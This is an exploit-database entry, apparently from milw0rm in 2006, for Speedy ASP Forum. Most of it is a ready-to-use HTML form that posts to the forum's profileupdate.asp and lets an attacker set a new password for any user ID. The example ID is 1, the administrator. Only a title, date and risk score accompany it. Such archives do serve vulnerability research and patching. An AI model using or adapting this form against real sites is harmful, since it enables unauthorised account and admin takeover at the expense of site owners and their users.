Speedy ASP Forum (profileupdate.asp) User Pass Change Exploit

🗓️ 29 May 2006 00:00:00Reported by RootType
Speedy ASP Forum User Pass Chang

                                                &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&gt;&lt;html&gt;&lt;head&gt;&lt;META http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;&lt;/head&gt;&lt;body&gt;

&lt;div bgcolor=&quot;#000000&quot;&gt;
&lt;form name=&quot;InputForm&quot; method=&quot;post&quot; target=&quot;_blank&quot; onsubmit=&quot;return window.confirm(&amp;quot;You are submitting information to an external page.\nAre you sure?&amp;quot;);&quot;&gt;
&lt;b&gt;&lt;font color=&quot;#808080&quot; face=&quot;Verdana&quot;&gt;Speedy Forum User Pass Change //
ajann&lt;/font&gt;&lt;/b&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;&lt;b&gt;User 
Name    
:   &lt;/b&gt;&lt;/font&gt;
&lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;&quot; size=&quot;20&quot;&gt; 
&lt;font size=&quot;1&quot; color=&quot;#C0C0C0&quot; face=&quot;Arial&quot;&gt; Example: Surname 
Name&lt;/font&gt;&lt;br&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;&lt;b&gt;User 
Mail        
:  &lt;/b&gt;&lt;/font&gt;
&lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; size=&quot;20&quot;&gt;
&lt;font size=&quot;1&quot; color=&quot;#C0C0C0&quot; face=&quot;Arial&quot;&gt;   Example:
&lt;a href=&quot;mailto:[email protected]&quot; target=&quot;_blank&quot;&gt;[email protected]&lt;/a&gt;&lt;/font&gt;&lt;br&gt;

&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;&lt;b&gt;User 
Ýd            
:  &lt;/b&gt;&lt;/font&gt;
&lt;input type=&quot;text&quot; name=&quot;id&quot; value=&quot;&quot; size=&quot;20&quot;&gt;
&lt;font size=&quot;1&quot; color=&quot;#C0C0C0&quot; face=&quot;Arial&quot;&gt;  Example: Ýd:1 
Admin&lt;/font&gt;&lt;br&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;&lt;b&gt;User Country  :  
&lt;/b&gt;
&lt;/font&gt;
&lt;select size=&quot;1&quot; name=&quot;country&quot;&gt;
&lt;option value=&quot;0&quot;&gt;Choose Country&lt;/option&gt;
&lt;option value=&quot;Turkey&quot;&gt;Turkey&lt;/option&gt;
&lt;/select&gt; &lt;font size=&quot;1&quot; color=&quot;#C0C0C0&quot; face=&quot;Arial&quot;&gt; Example: 
Turkey&lt;/font&gt;&lt;br&gt;

&lt;b&gt;

&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;User &lt;/font&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#0000FF&quot;&gt;Pass &lt;/font&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;      
:  &lt;/font&gt;&lt;/b&gt;

&lt;input type=&quot;text&quot; name=&quot;password&quot; value=&quot;Password&quot; size=&quot;20&quot;&gt; 
&lt;font size=&quot;1&quot; color=&quot;#C0C0C0&quot; face=&quot;Arial&quot;&gt; Example: 123456&lt;/font&gt;&lt;br&gt;
&lt;b&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;User &lt;/font&gt;
&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#0000FF&quot;&gt;RePass&lt;/font&gt;&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;  
:  &lt;/font&gt;&lt;/b&gt;

&lt;input type=&quot;text&quot; name=&quot;passwordre&quot; value=&quot;Re Password&quot; size=&quot;20&quot;&gt; 
&lt;font size=&quot;1&quot; color=&quot;#C0C0C0&quot; face=&quot;Arial&quot;&gt; Example: 123456&lt;/font&gt;&lt;br&gt;

&lt;font face=&quot;Verdana&quot; size=&quot;2&quot; color=&quot;#FF0000&quot;&gt;&lt;b&gt;Form Action    : 
&lt;/b&gt;
&lt;/font&gt;

&lt;input type=&quot;text&quot; name=&quot;adres&quot; value=&quot;profileupdate.asp&quot; size=&quot;20&quot;&gt; 
&lt;font size=&quot;1&quot; color=&quot;#C0C0C0&quot; face=&quot;Arial&quot;&gt; Example: 
http://[target]/[path]/profileu&lt;WBR&gt;pdate.asp&lt;/font&gt;&lt;/p&gt;

&lt;p&gt;

&lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Change&quot;&gt; &lt;/p&gt;

&lt;br&gt;

 &lt;/form&gt;

&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;

# milw0rm.com [2006-05-29]
29 May 2006 00:00Current
7.1High risk
Vulners AI Score7.1